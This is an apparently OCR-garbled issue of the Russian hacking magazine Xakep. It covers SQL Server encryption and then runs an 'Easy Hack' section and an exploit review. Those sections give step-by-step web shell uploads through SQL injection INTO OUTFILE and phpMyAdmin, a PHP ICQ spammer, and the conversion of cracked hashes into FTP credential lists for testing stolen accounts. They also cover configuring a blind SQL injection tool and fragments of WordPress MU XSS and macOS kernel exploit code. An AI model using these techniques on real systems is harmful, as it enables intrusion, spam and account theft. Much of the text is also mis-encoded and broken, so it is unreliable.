Проверим, в каком виде хранится процедура, с помощью<br />

специального средства для ковыряния в файлах базы.<br />

Подойдет SQL Server Syscomments Decryptor (www.<br />

geocities.com/d0mn4r/dSQLSRVD.html), который при<br />

отображении текста процедуры показывает одни лишь<br />

знаки вопроса. Все работает!<br />

Ïðèìåð èç ëè÷íîãî îïûòà<br />

Ñîòðóäíèêàìè îäíîé êîìïàíèè ïëàòåæíî-êàðòî÷íîãî ñåêòîðà âåëàñü áàçà äàííûõ äëÿ âûäà÷è çàðïëàò. Äëÿ ïðîñòîãî<br />

ïîíèìàíèÿ, — ïóñòü ýòî áóäåò ïðèìåðíî ñëåäóþùàÿ ñòðóêòóðà:<br />

warning<br />

Использование<br />

функций шифрования<br />

SQL Server<br />

совместно<br />

с параметром<br />

ANSI_PADDING<br />

OFF может привести<br />

к потере данных<br />

из-за неявных<br />

преобразований!<br />

034<br />

ID LastName FirstName Emp Sum<br />

354 Somov Oleg IT-Manager M0x8900f56543<br />

643 Antipova Alexandra Director 4343Lax#dsdsss<br />

411 Timurov Valeriy Technical Dep. 0x2322322222<br />

Âûáîðêó èç áàçû ÿ ïðèâåë àáñîëþòíî ïðîèçâîëüíóþ, à òåïåðü ñóòü èäåè. «Áåçîïàñíèêàìè» êîìïàíèè áûëî ïðèíÿòî<br />

âïîëíå áëàãîðîäíîå ðåøåíèå — øèôðîâàòü äàííûå î çàðïëàòàõ, êîòîðûå î÷åíü ÷àñòî áûâàþò «ñåðûìè». Èíñàéäåð<br />

ïîëó÷èë äîñòóï ê áàçå è ñèëüíî îáëîìàëñÿ, çàèìåâ èíôîðìàöèþ â òàêîì âèäå. Îäíàêî, îí íå îò÷àÿëñÿ è ïðîäåëàë<br />

ñëåäóþùèé ôîêóñ. Ðåçîííî ïðåäïîëîæèâ, ÷òî ÷åëîâåê ñ äîëæíîñòüþ äèðåêòîðà äîëæåí ïîëó÷àòü áîëüøå, ÷åì ïðîñòîé<br />

ìåíåäæåð, îí ïîìåíÿë ñîîòâåòñòâóþùèå ïîëÿ ñî çíà÷åíèÿìè çàðïëàò îäíî íà äðóãîå, òåì ñàìûì — ïîäëîæèâ áóõãàëòåðñêîìó<br />

îòäåëó àáñîëþòíî ëåâóþ èíôîðìàöèþ.  áëàãîïîëó÷íûé äåíü òàêàÿ âåùü ïðîêàòèëà, è âñå áåçîïàñíèêè<br />

áûëè óâîëåíû. Äëÿ ñïðàâêè: ýòèì ñîòðóäíèêîì áûë íå ÿ, êàê âïðî÷åì, è íå áåçîïàñíèêîì.<br />

XÀÊÅÐ 04 /124/ 09


pc_zone<br />

Òàê äåëàòü íå ñòîèò!<br />

Посчитанные временные результаты для<br />

применения крипто-алгоритмов в среде SQLсервера<br />

2005<br />

КАК ОБЛЕГЧИТЬ СЕБЕ ЖИЗНЬ?<br />

 SQL Server ìîæíî ñîçäàâàòü ÷åòûðå òèïà îáúåêòîâ (õðàíèìûå ïðîöåäóðû, ïðåäñòàâëåíèÿ,<br />

ïîëüçîâàòåëüñêèå ôóíêöèè è òðèããåðû) ñ ïàðàìåòðîì WITH ENCRYPTION. Ýòîò ïàðàìåòð<br />

ïîçâîëÿåò çàøèôðîâàòü îïðåäåëåíèå îáúåêòà òàêèì îáðàçîì, ÷òî òîò ìîæíî áóäåò<br />

èñïîëüçîâàòü, íî ïîëó÷èòü åãî îïðåäåëåíèå ñòàíäàðòíûìè ñïîñîáàìè ñòàíåò íåâîçìîæíî.<br />

Ýòî ñðåäñòâî ðåêîìåíäóåòñÿ è Microsoft. Ê ñîæàëåíèþ, íà ïðàêòèêå íèêàêîé çàùèòû<br />

ïðèìåíåíèå ñòàíäàðòíûõ ñðåäñòâ øèôðîâàíèÿ íå îáåñïå÷èâàåò! Àëãîðèòì, èñïîëüçóåìûé<br />

ïðè øèôðîâàíèè îïðåäåëåíèé îáúåêòîâ, âûãëÿäèò òàê:<br />

1) SQL Server áåðåò GUID òîé áàçû äàííûõ, â êîòîðîé ñîçäàåòñÿ îáúåêò, è çíà÷åíèå ñòîëáöà<br />

colid òàáëèöû syscomments äëÿ ñîçäàâàåìîãî îáúåêòà (÷àùå âñåãî, åãî çíà÷åíèå — 1 èëè 2)<br />

è ïðîèçâîäèò èõ êîíêàòåíàöèþ;<br />

2) Èç ïîëó÷åííîãî çíà÷åíèÿ ãåíåðèðóåòñÿ êëþ÷ ïðè ïîìîùè àëãîðèòìà SHA;<br />

3) Ýòîò õåø èñïîëüçóåòñÿ â êà÷åñòâå âõîäÿùåãî çíà÷åíèÿ ïðè ïðèìåíåíèè åùå îäíîãî<br />

àëãîðèòìà õåøèðîâàíèÿ — RSA. Ñ åãî ïîìîùüþ ãåíåðèðóåòñÿ íàáîð ñèìâîëîâ, ðàâíûé ïî<br />

äëèíå øèôðóåìîìó îïðåäåëåíèþ îáúåêòà;<br />

4) Ñ ýòèì íàáîðîì ñèìâîëîâ è ñ ðåàëüíûì îïðåäåëåíèåì îáúåêòà ïðîèçâîäèòñÿ îïåðàöèÿ<br />

XOR.  ðåçóëüòàòå ïîëó÷àþòñÿ äàííûå, êîòîðûå ïîìåùàþòñÿ â ñòîëáåö ctext òàáëèöû<br />

syscomments.<br />

Ó ýòîé ñõåìû åñòü äâà ñëàáûõ ìåñòà:<br />

• Íàì íè÷åãî íå ìåøàåò çàèìåòü èñõîäíûå çíà÷åíèÿ (GUID è colid) äëÿ âûïîëíåíèÿ òåõ<br />

æå ñàìûõ îïåðàöèé è ïîëó÷èòü êëþ÷ íà ðàñøèôðîâêó. Ýòî ìîæíî ñäåëàòü, íàïðèìåð,<br />

èñïîëüçîâàâ óòèëèòó dSQLSRVD. Ïðàâäà, äëÿ ïîëó÷åíèÿ GUID áàçû äàííûõ (è äëÿ çàïóñêà<br />

ýòîé óòèëèòû) íàì íóæíû ïðàâà ñèñòåìíîãî àäìèíèñòðàòîðà;<br />

• Åñëè ó íàñ åñòü ïðàâà íà ñîçäàíèå îáúåêòîâ â áàçå äàííûõ, ìîæíî ñãåíåðèðîâàòü òî÷íî<br />

òàêîé æå êëþ÷ äëÿ îáúåêòà, îïðåäåëåíèå êîòîðîãî íàì óæå èçâåñòíî (ïóòåì ñðàâíåíèÿ<br />

øèôðîâàííîãî îïðåäåëåíèÿ ñ íåçàøèôðîâàííûì). Íó è — èñïîëüçîâàòü åãî äëÿ ðàñøèôðîâêè<br />

çíà÷åíèÿ äðóãîãî îáúåêòà.<br />

Êàê ìîæíî ðàñøèôðîâàòü çàøèôðîâàííûå îáúåêòû íà SQL Server? Åñòü äâà âàðèàíòà:<br />

• Èñïîëüçîâàòü óòèëèòó dSQLSRVD. Îíà ïîçâîëÿåò âûáðàòü ëþáîé çàøèôðîâàííûé îáúåêò<br />

íà ñåðâåðå è çàïèñàòü åãî îïðåäåëåíèå â òåêñòîâûé ôàéë;<br />

• Èñïîëüçîâàòü õðàíèìóþ ïðîöåäóðó DECRYPT2K. Êîä íà ñîçäàíèå äàííûõ õðàíèìûõ<br />

ïðîöåäóð (â ðàçíûõ âàðèàíòàõ è ñ ðàçíûìè îáúÿñíåíèÿìè), êîòîðûå ðàñøèôðîâûâàþò<br />

îïðåäåëåíèå çàøèôðîâàííûõ îáúåêòîâ, ëåãêî íàéòè ÷åðåç Google.<br />

XP_Crypt избавляет от ручного геморроя по шифрованию нужных полей, позволяя настроить все<br />

через свою удобную оболочку<br />

В заключение — не менее интересный продукт<br />

XP_CRYPT (xpcrypt.com). Это средство<br />

осуществляет весь тот геморрой, который мы<br />

только что проделали вручную. Все, что от<br />

тебя требуется, — скачать дистрибутив проги,<br />

установить ее на сервер (к сожалению, есть<br />

версия только для Винды), обозначить свою<br />

базу данных и начать химию с таблицами с<br />

помощью удобного GUI-интерфейса.<br />

Организуем знакомство на примере из<br />

практики. Предположим, у нас есть интернет-магазин,<br />

где каким-то образом хранятся<br />

данные о кредитных картах клиентов<br />

(распространенная ситуация, хотя это<br />

категорически запрещено!). Наша задача<br />

— зашифровать конкретные данные о<br />

клиентах, т.е. поля с паролем, номером<br />

кредитной карточки и т.п. Пока мы ничего<br />

не делали, при запросе SELECT * FROM<br />

tbl_CCards, СУБД возвращает все в открытом<br />

виде:<br />

Username Password CredCardNum<br />

james god 1234567890123456<br />

lucas sex 2894787650102827<br />

anna love 3234563638716434<br />

Напишем внешнюю функцию UDF (расшифровывается,<br />

как «User-Defined-Function»,<br />

подробности — в последнем выпуске «Обзора<br />

эксплоитов») для преобразования строки в<br />

SHA-хеш:<br />

CREATE FUNCTION ud_MakeSHA1 (@<br />

clearpass VARCHAR (8000) )<br />

RETURNS VARCHAR (40)<br />

AS<br />

BEGIN<br />

XÀÊÅÐ 04 /124/ 09<br />

035


pc_zone<br />

С помощью тулзы SysComments Decryptor находим хранимую процедуру и убеждаемся, что она<br />

зашифрована<br />

Создаем простейшую хранимую процедуру<br />

У разработчика есть два варианта: использовать встроенное в MS SQL<br />

шифрование, что не очень хорошо, или воспользоваться возможностями<br />

SQL Shield<br />

DECLARE @ret as VARCHAR(40)<br />

EXEC master..xp_sha1 @clearpass,@<br />

ret OUTPUT<br />

RETURN @ret<br />

END<br />

Отдаем команду: UPDATE tbl_CCards SET<br />

password = dbo.ud_MakeSHA1(Password).<br />

После чего еще раз проверяем содержимое<br />

базы той же командой. Что видим? Все<br />

зашифровано, все пароли захешировались!<br />

Теперь нужно не забыть о том, что мы<br />

используем шифрование при обращении<br />

к базе. В нашем случае, когда ты будешь<br />

делать авторизацию пользователей, процедура<br />

проверки пароля по хешу будет выглядеть<br />

примерно так:<br />

CREATE FUNCTION ud_CheckUser (@<br />

username VARCHAR(16),@clear_pass<br />

036<br />

VARCHAR (16))<br />

RETURNS INTEGER<br />

AS BEGIN<br />

DECLARE @res INTEGER<br />

SELECT @res = count(*) FROM tbl_<br />

CCards where username=@username AND<br />

password=dbo.ud_MakeSHA1(@clear_<br />

pass)<br />

IF @res > 1 SELECT @res= 0<br />

RETURN @res<br />

END<br />

Проверяем исполнением команды:<br />

SELECT<br />

dbo.ud_CheckUser<br />

('anna’,'kolbaska')<br />

>1 (íåïðàâèëüíî)<br />

SELECT<br />

dbo.ud_CheckUser<br />

('anna','love')<br />

>0 (îêåéíî!)<br />

К шифрованию номера кредитной карты<br />

надо подойти более серьезно. Впрочем,<br />

мы не будем вникать в различного рода<br />

стандарты по информационной безопасности<br />

в платежно-карточной сфере (вроде<br />

PCI; хотя организации, работающие с кредитными<br />

картами, безусловно обязаны это<br />

делать). В бесплатной версии XP_CRYPT<br />

существует возможность генерации только<br />

256-битного ключа RSA.<br />

Вот этим-то как раз и можно воспользоваться<br />

(пусть упомянутый стандарт и требует,<br />

как минимум, 768-битного ключа). Я<br />

бы мог сейчас привести код по генерации<br />

публичного и приватного ключа, но… поступим<br />

проще. Все действия можно выполнить<br />

из понятного графического интерфейса, и<br />

во многих случаях оставить все на совести<br />

программы, не написав ни строчки кода.<br />

И поверь, будет работать!z<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

Easy Hack}<br />

ХАКЕРСКИЕ<br />

СЕКРЕТЫ<br />

ПРОСТЫХ ВЕЩЕЙ<br />

ЛЕОНИД «R0ID» СТРОЙКОВ<br />

/ R0ID@MAIL.RU /<br />

АНДРЕЙ «SKVOZ» КОМАРОВ<br />

/ KOMAROV@ITDEFENCE.RU /<br />

PSYCHO.<br />

/ X0WL.X0WL@GMAIL.COM /<br />

¹1<br />

ЗАДАЧА: ЗАЛИТЬ ШЕЛЛ СРЕДСТВАМИ MYSQL<br />

РЕШЕНИЕ:<br />

1. Ищем на Web-сервере директории, доступные для записи. Заветный<br />

каталог может присутствовать в этом списке:<br />

/templates_compiled/<br />

/templates_c/<br />

/templates/<br />

/temporary/<br />

/images/<br />

/cache/<br />

/temp/<br />

/files/<br />

2. Мы уже подобрали колонки (допустим, их будет 4), и выполняем запрос:<br />

UNION SELECT "",2,3,4<br />

INTO OUTFILE "/var/www/html/temp/c.php" --<br />

3. Пользуемся шеллом по адресу http://victim.com/temp/c.php.<br />

¹2<br />

ЗАДАЧА: ЗАЛИТЬ ШЕЛЛ СРЕДСТВАМИ PHPMYADMIN<br />

РЕШЕНИЕ:<br />

1. Каким-либо образом получаем доступ к PhpMyAdmin.<br />

2. Для эстетики и удобства создаем новую базу:<br />

CREATE DATABASE 'backdoor'<br />

3. Ищем установочный путь базы<br />

SELECT @@datadir<br />

4. Выполняем запрос на создание таблицы:<br />

CREATE TABLE backdoor(<br />

Stack TEXT<br />

) TYPE=MYISaM;<br />

INSERT INTO backdoor(Stack)<br />

VALUES(<br />

'


взлом<br />

¹4<br />

ЗАДАЧА: ОТЛИЧИТЬ BIND 8 ОТ BIND 9, УЧИТЫВАЯ, ЧТО АДМИНИС-<br />

ТРАТОР УДАЛИЛ ПАРАМЕТР ВЕРСИИ В КОНФИГУРАЦИОННЫХ<br />

ФАЙЛАХ ДЕМОНА<br />

РЕШЕНИЕ:<br />

Принципиальное отличие — в Bind 9 (начиная с версии 9.1.0) появилась<br />

специальная служебная CHAOS-запись «authors». Для проверки<br />

этого параметра можно использовать штатные средства операционной<br />

системы.<br />

1. linux/freebsd<br />

dig ns.example.com authors.bind chaos txt<br />

2. windows/linux/freebsd<br />

% nslookup -q=txt -class=CHAOS authors.bind. ns.example.com<br />

Server: ns.example.com<br />

Address: 23.23.23.23<br />

authors.bind text = «Bob Halley»<br />

authors.bind text = «Mark Andrews»<br />

authors.bind text = «James Brister»<br />

authors.bind text = «Michael Graff»<br />

authors.bind text = «David Lawrence»<br />

authors.bind text = «Michael Sawyer»<br />

authors.bind text = «Brian Wellington»<br />

authors.bind text = «Andreas Gustafsson»<br />

3. Получен ответ с «пасхальным яйцом» от разработчиков — следовательно,<br />

перед нами девятая ветка! Чтобы выявить и предотвратить такое<br />

обнаружение, администратор может предпринять следующую сигнатуру:<br />

alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS480/<br />

named-probe-authors";<br />

content: "|07|authors|04|bind»; depth: 32; offset: 12;<br />

nocase;)<br />

В ней содержится синтаксис для мониторинга UDP-транспорта по 53 порту, по<br />

содержанию, приведенному в тексте запроса, с заданной глубиной поиска.<br />

¹5<br />

ЗАДАЧА: РАСШИФРОВАТЬ ОБФУСЦИРОВАННЫЙ ЭКСПЛОИТ<br />

РЕШЕНИЕ:<br />

Задача особенно актуальна, потому что таким макаром можно охотиться<br />

за новыми образцами сплоитов. В этом плане очень пригодится<br />

тулза под названием Malzilla (malzilla.sourceforge.net). Она содержит<br />

в себе десятки алгоритмов для дешифровки, среди которых unescapeпоследовательность,<br />

UCS2-кодировка JS и так далее. Итак, порядок<br />

действий:<br />

1. Копируем все вредоносное шифрованное содержимое на вкладку<br />

«Download».<br />

2. Жмем «Send script to Decoder», затем «Run script».<br />

3. В ответ получаем дешифрованный (или почти дешифрованный)<br />

сегментами сорец и линк на подгрузку файла.<br />

4. Если сделать это в один клик не получилось, играемся с «Misc<br />

decoders».<br />

Ресурсы, отслеживающие malware-активность онлайн:<br />

malwaredomainlist.com, zeustracker.abuse.ch.<br />

Дешифровка на лету! На выходе Malzilla показала линк с вредоносным .exe и деобфусцированный исходник эксплоита<br />

XÀÊÅÐ 04 /124/ 09<br />

039


взлом<br />

¹6<br />

ЗАДАЧА: НАПИСАТЬ ICQ-СПАМЕР НА PHP<br />

РЕШЕНИЕ:<br />

ICQ-спам становится все более актуальным. Это сложно не заметить,<br />

особенно, если тебе в асю ежедневно прилетает с десяток сообщений<br />

рекламного характера. Большинство качественных продуктов для подобных<br />

рассылок стоит денег, поэтому возникает вопрос: а не написать<br />

ли простенькую спамилку собственноручно? Например, на всеми нами<br />

любимом PHP. Думаешь, нереально? Ошибаешься, и сейчас я тебе это<br />

докажу:<br />

1. В своих начинаниях мы будем использовать специальный класс<br />

WebIcqLite.class.php, который ты сможешь найти на нашем DVD.<br />

2. Для успешного использования всех функций класса следует приинклудить<br />

оный в нашем скрипте —<br />

include('WebIcqLite.class.php');<br />

3. В общем виде, в качестве примера рассмотрим скрипт от Pashkela:<br />

<br />

4. В файле icq.ini располагаются данные по уинам:<br />

uin = 123456 ; UIN, ñ êîòîðîãî ðàññûëàåì<br />

pass = 1234 ; Ïàðîëü äëÿ UIN, ñ êîòîðîãî ðàññûëàåì<br />

file_uin = uin.txt ; Ôàéë ñî ñïèñêîì UIN äëÿ ðàññûëêè<br />

message = test, do not reply this message, bot-test ;<br />

Ñîáñòâåííî, ñàìà ìåññàãà äëÿ îòñûëêè<br />

pause = 2 ; Ïàóçà ìåæäó êàæäûì ñîîáùåíèåì, ÷òîáû íàñ íå<br />

çàáàíèëè (â ñåêóíäàõ)<br />

5. А в файле uin.txt лежит список уинов, по которым будет проводиться<br />

рассылка.<br />

Как видишь, все достаточно просто. Тебе остается лишь изменить сорец<br />

на свое усмотрение либо накодить новый :).<br />

¹5<br />

ЗАДАЧА: ОТПАРСИТЬ ДАННЫЕ ИЗ PASSWORDPRO ДЛЯ ИСПОЛЬЗО-<br />

ВАНИЯ В FTP-ЧЕКЕРЕ<br />

РЕШЕНИЕ:<br />

Для брута самых разнообразных хешей часто приходится использовать<br />

популярную утилу PasswordPro. Прога довольно удобна и отменно работает<br />

на забугорных ломанных дедиках :). Проблема лишь в том, что каждый раз<br />

парсить вручную результаты брута — утомительно. Представь, что ты нашел<br />

SQL-инъекцию на крупном портале, слил имена и хеши MySQL-юзеров<br />

и отправил их на брут в PasswordPro. Брутер с задачей справился, пассы<br />

найдены, и было бы неплохо попробовать их на FTP. Вот тут и появляется<br />

много лишней работы, а именно — преобразование сбрученных данных<br />

из PasswordPro вида «admin:5ba686200919b19f:narym7» в стандартный<br />

формат фтп-чекеров вида «ftp://admin:narym7@127.0.0.1». Итак, поехали:<br />

1. Первое, что нам нужно сделать, — слить уже готовый парсер «Small<br />

parser for passwordpro» от evil_packman’а с нашего DVD :). 2. Теперь экспортируем<br />

уже сбрученные акки из PasswordPro в файл first.txt, например:<br />

web:5ba686200919b19f:nfgavr<br />

2. Вспоминаем, установлен ли у нас PHP. Если нет — срочно идем на Гугл<br />

и качаем (еще пригодится:)).<br />

3. Созданный ранее файл first.txt (с акками из брутера) кладем в одной<br />

директории с парсером.<br />

4. Запускаем скрипт:<br />

C:\php\php C:\parser.php first.txt out.txt 127.0.0.1,<br />

— где first.txt — файл с данными из PasswordPro, out.txt — файл с отпарсенными<br />

аккаунтами, а 127.0.0.1 — IP ftp-сервера.<br />

5. На выходе рядом с парсером обнаруживаем файл out.txt с cодержимым:<br />

Парсим данные из PasswordPro<br />

admin:5ba686200919b19f:narym7<br />

news:5ba686200919b19f:wens6<br />

root:5ba686200919b19f:sawbdv<br />

swin:5ba686200919b19f:zasut4<br />

040<br />

XÀÊÅÐ 04 /124/ 09


взлом<br />

ftp://admin:narym7@127.0.0.1<br />

ftp://news:wens6@127.0.0.1<br />

ftp://root:sawbdv@127.0.0.1<br />

ftp://swin:zasut4@127.0.0.1<br />

ftp://web:nfgavr@127.0.0.1<br />

Все, теперь берем любой функциональный фтп-чекер и проверяем<br />

аккаунты к FTP.<br />

¹7<br />

• main.php — ñàì ñêðèïò<br />

• config.php — ôàéë ñ íàñòðîéêàìè ñêðèïòà<br />

• lib_and_data/grey_data.php — ñòàíäàðòíûé ñëîâàðèê ñ<br />

èìåíàìè òàáëèö è êîëîíîê<br />

• lib_and_data/function.php — áèáëèîòåêà ôóíêöèé äëÿ<br />

ðàáîòû ñî ñëåïûìè sql-èíúåêöèÿìè<br />

• dic/grey_table_name.txt — ñòàíäàðòíûé ñëîâàðèê ñ èìåíàìè<br />

òàáëèö<br />

• dic/grey_field_name.txt — äåôîëòîâûé ñëîâàðü ñ èìåíàìè<br />

êîëîíîê<br />

ЗАДАЧА: АЛЬТЕРНАТИВНЫМ СПОСОБОМ УЗНАТЬ ОС НА СЕТЕВОМ<br />

УРОВНЕ<br />

РЕШЕНИЕ:<br />

Как ты уже знаешь, Blind SQL-Injections представляют собой слепые<br />

SQL-инъекции, работа с которыми максимально затруднена. Если конкретнее,<br />

то раскручивать подобные баги ручками — дело неблагодарное.<br />

Поэтому, идея автоматизации процесса возникла давно и была успешно<br />

реализована в нескольких проектах, одним из которых мы и воспользуемся.<br />

Использовать будем скрипт от товарища Grey’я, ибо утила специально<br />

заточена под работу со слепыми скул-инъектами и мускулом. Из<br />

полезных фич скрипта следует отметить:<br />

• Âûâîä ñòàíäàðòíîé èíôîðìàöèè: version(), user(),<br />

database(), ïðè mysql >= 3 âåðñèè.<br />

• Ïîäáîð èìåí òàáëèö ïî âñòðîåííîé áàçå èìåí ëèáî ïî óêàçàííîìó<br />

ñëîâàðþ, ïðè mysql >= 4.1 âåðñèè.<br />

• Ïîäáîð íàçâàíèé êîëîíîê ê óêàçàííîé òàáëèöå ïî âñòðîåííîé<br />

áàçå èìåí êîëîíîê ëèáî ïî óêàçàííîìó ñëîâàðèêó, ïðè<br />

mysql >= 4.1 âåðñèè.<br />

• Âûâîä ðåçóëüòàòà óêàçàííîãî çàïðîñà, ïðè mysql >= 4.1<br />

âåðñèè.<br />

• Âûâîä ñîäåðæèìîãî óêàçàííîãî ôàéëà, ïðè íàëè÷èè ñîîòâåòñòâóþùèõ<br />

ïðàâ â mysql >= 3 âåðñèè.<br />

• Îïðåäåëåíèå äëèíû ðåçóëüòàòà óêàçàííîãî çàïðîñà, îñîáåííî<br />

ïîëåçíî ïðè âûâîäå ÷àñòè ñîäåðæèìîãî êàêîãî-ëèáî<br />

ôàéëà, ðàáîòàåò â mysql >= 4.1 âåðñèè.<br />

• Îïðåäåëåíèå èìåí òàáëèö è èìåí ÁÄ, â êîòîðûõ îíè íàõîäÿòñÿ<br />

ñ ïîìîùüþ information_schema.tables â mysql => 5<br />

âåðñèè.<br />

• Îïðåäåëåíèå èìåí êîëîíîê ê óêàçàííîé òàáëèöå, íàõîäÿùåéñÿ<br />

â óêàçàííîé ÁÄ, ñ ïîìîùüþ information_schema.<br />

columns â mysql => 5 âåðñèè.<br />

• Ñîïîñòàâëåíèå èìåí òàáëèö è èìåí ÁÄ, â êîòîðûõ îíè íàõîäÿòñÿ<br />

ñ ïîìîùüþ information_schema.tables â mysql => 5<br />

âåðñèè.<br />

• Ïîèñê äàííûõ â ôàéëàõ; ïî äåôîëòó èç ôàéëîâ âûäåëÿþòñÿ<br />

òàêèå äàííûå, êàê:<br />

• ïåðåìåííûå, êîòîðûå ìîãóò ñîäåðæàòü ïàðîëü;<br />

• ïåðåìåííûå, êîòîðûå ìîãóò ñîäåðæàòü äàííûå äëÿ ïîäêëþ-<br />

÷åíèÿ ê ÑÓÁÄ.<br />

• Âûâîä ñòàíäàðòíîé èíôîðìàöèè â PostgreSQL: version(),<br />

current_user(), current_database().<br />

• Ïîäáîð èìåí òàáëèö â PostgreSQL.<br />

3. Заливаем все вышеперечисленные файлы на наш (или не совсем<br />

наш) хост.<br />

4. Выставляем чмод на запись для каталога, в котором находятся скрипты<br />

config.php и main.php.<br />

5. Отредактируем config.php. Особое внимание надо уделить основным<br />

параметрам:<br />

$host = ''; // Àäðåñ ñàéòà<br />

$port = ; // Ïîðò<br />

$path = ''; // Ïóòü äî óÿçâèìîãî ñêðèïòà (íà÷èíàÿ ñ ‘/’)<br />

$vars = ""; // Ïåðåìåííûå (èëè ñîäåðæèìîå ÊÓÊÎÂ, åñëè<br />

sql-èíúåêöèÿ â ÊÓÊÀÕ): âíà÷àëå íåóÿçâèìûå ïåðåìåííûå ñ<br />

èõ çíà÷åíèÿìè,<br />

// à çàòåì, â êîíöå, óÿçâèìàÿ ïåðåìåííàÿ, âìåñòå ñ ñóùåñòâóþùèì<br />

çíà÷åíèåì, ÌÎÆÅØÜ óêàçàòü êàâû÷êó, åñëè îíà<br />

íóæíà<br />

$strend = ''; // Ñèìâîë êîììåíòàðèÿ ('--+', '/*', '#'),<br />

åñëè íóæåí<br />

$method = ; // (öèôðà): ìåòîä îòïðàâêè äàííûõ<br />

// 0 — POST; èíúåêöèÿ â ïåðåìåííîé òèïà POST<br />

// 1 — GET; èíúåêöèÿ â ïåðåìåííîé òèïà GET<br />

// 2 — GET/COOKIE; èíúåêöèÿ â COOKIE<br />

$type = ; // (0 èëè 1): òèï ðàñïîçíàíèÿ ïðàâèëüíîñòè âûïîëíåíèÿ<br />

sql-çàïðîñà:<br />

// 0 — ïðàâèëüíîñòü çàïðîñà îïðåäåëÿåòñÿ ïî íàëè÷èþ<br />

òåêñòà, êîòîðûé äîëæåí ïîÿâëÿòüñÿ òîëüêî ïðè óêàçàííîì<br />

çíà÷åíèè óÿçâèìîé ïåðåìåííîé<br />

// 1 — ïðàâèëüíîñòü çàïðîñà îïðåäåëÿåòñÿ ïî îòñóòñòâèþ<br />

òåêñòà (òåêñòà îøèáêè), êîòîðàÿ äîëæíà ïîÿâëÿòüñÿ ïðè<br />

íåïðàâèëüíîì âûïîëíåíèè çàïðîñà<br />

$text = ‘’; // Òåêñò, ïî êîòîðîìó áóäåò îïðåäåëÿòüñÿ ïðàâèëüíîñòü<br />

âûïîëíåíèÿ çàïðîñà<br />

6. Перейди в браузере по линку http://хост/каталог/main.php.<br />

7. Ждем 30 секунду, при отсутствии каких-либо ошибок — закрываем<br />

браузер и надеемся на лучшее.<br />

8. Через несколько часов смотрим результат в файле result.txt.<br />

Кстати! Помни, что время работы скрипта напрямую зависит от ширины<br />

канала твоего сервера, а также от нагрузки на атакуемую СУБД. z<br />

Конфигурируем инструмент для работы с Blind SQL-Injections<br />

Теперь рассмотрим алгоритм действий по установке, настройке и запуску<br />

утилы:<br />

1. Сливаем архив с тулзой с нашего DVD.<br />

2. Распаковываем архив, проверяем содержимое:<br />

XÀÊÅÐ 04 /124/ 09<br />

041


взлом<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

АНДРЕЙ «SKVOZ» КОМАРОВ<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

01<br />

МЕЖСАЙТОВЫЙ<br />

СКРИПТИНГ<br />

В WORDPRESS MU<br />

>> Brief<br />

Wordpress MU — версия известного блогосферного продукта, предназначенного<br />

для организации бесчисленного числа блогов на одном<br />

движке (а также — на одном сервере). Уязвимость была найдена в функции<br />

choose_primary_blog (в составе wp-includes/wpmu-functions.php).<br />

Рассмотрим код сего творения.<br />

1830 function choose_primary_blog() {<br />

1831 global $current_user;<br />

1832 ?><br />

1833 <br />

1834 <br />

1835 <br />

1836 <br />

1837 <br />

1852 <br />

1853 <br />

1854 <br />

1855


обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

>> взлом<br />

>> Targets:<br />

Wordpress MU < 2.7<br />

>> Exploit<br />

$ curl -H "Cookie: " -H «Host: "<br />

http://www.example.com/wp-admin/profile.php> tmp.html<br />

$ firefox tmp.html<br />

if (n < 0)<br />

{<br />

fprintf (stderr, "failed i386_get_ldt(): %d\n", n);<br />

return (EXIT_FAILURE);<br />

}<br />

num_desc = n;<br />

printf ("i386_get_ldt: num_desc: %d\n", num_desc);<br />

>> Solution<br />

Производитель уже уведомлен о наличии бреши, но реакции пока не наблюдается<br />

(÷èòàé îäíîèìåííóþ ñòàòüþ â íàøåé ðóáðèêå è ïîéìåøü,<br />

÷òî WordPress ñëàâèòñÿ äàëåêî íå åäèíîé áðåøüþ, — Ïðèì. Forb).<br />

APPLE MACOS X XNU > Brief<br />

Множественные целочисленные переполнения в функциях Apple MacOS<br />

позволяют с помощью специального системного вызова i386_set_ldt или<br />

i386_get_ldt повысить привилегии локальных пользователей. Нетрудно<br />

сделать вывод, что уязвимость может быть эксплуатированной исключительно<br />

на Intel-based машинах. Не вдаваясь в подробности, скажу, что<br />

подобного рода уязвимость была обнаружена аж в 2005 году во FreeBSD<br />

(и нечему тут удивляться, ведь Unix-архитектура обеих систем консервативна).<br />

Такой же баг был найден и сравнительно недавно, но уже в<br />

MacOS. Напомню, что существует три вида таблиц дескрипторов: глобальная<br />

таблица (одна в системе — GDT), локальная таблица (может быть<br />

своя для каждой задачи), а также таблица дескрипторов прерываний.<br />

Локальная таблица (LDT) содержит только дескрипторы сегментов, шлюзов<br />

задачи и вызовов. Сегмент недоступен задаче, если его дескриптора<br />

нет ни в LDT, ни в GDT (потому что локальная дескрипторная таблица<br />

описывается дескриптором глобальной таблицы). Основа виртуальной<br />

памяти системы Pentium состоит из двух таблиц: LDT и GDT.<br />

Функция i386_get_ldt возвращает список дескрипторов, задействованных<br />

в LDT (Local Descriptor Table) в текущий момент. Базовый синтаксис<br />

вызова описывается следующей функцией:<br />

#include <br />

#include <br />

int i386_get_ldt (int start_sel, union descriptor<br />

*descs, int num_sels);<br />

Сообщив параметр экстремально большого размера, можно допустить<br />

копирование памяти ядра в пользовательское окружение.<br />

>> Targets<br />

Apple Mac OS X > Solution<br />

Сейчас как раз идет активное обсуждение решения.<br />

02<br />

FULL DISCLOSURE<br />

МНОГОЧИСЛЕННЫЕ УЯЗВИМОСТИ В<br />

FTP-СЕРВЕРАХ.<br />

>> Brief<br />

Одна из самых распространенных проблем безопасности будет отражена<br />

в этой заметке, а именно — fuzzing FTP-серверов. Сам процесс<br />

Вместо win32_exec payload’a мы могли бы выбрать что-нибудь более<br />

опасное, например, организацию удаленного шелла<br />

>> Exploit<br />

http://milw0rm.com/exploits/8108<br />

Ключевые фрагменты привожу ниже:<br />

#define TMP_FILE "/tmp/xnu-get_ldt"<br />

#define READ_SIZE 0x2000000<br />

int<br />

main (int argc, char **argv)<br />

{<br />

int fd, n, num_desc;<br />

void *ptr;<br />

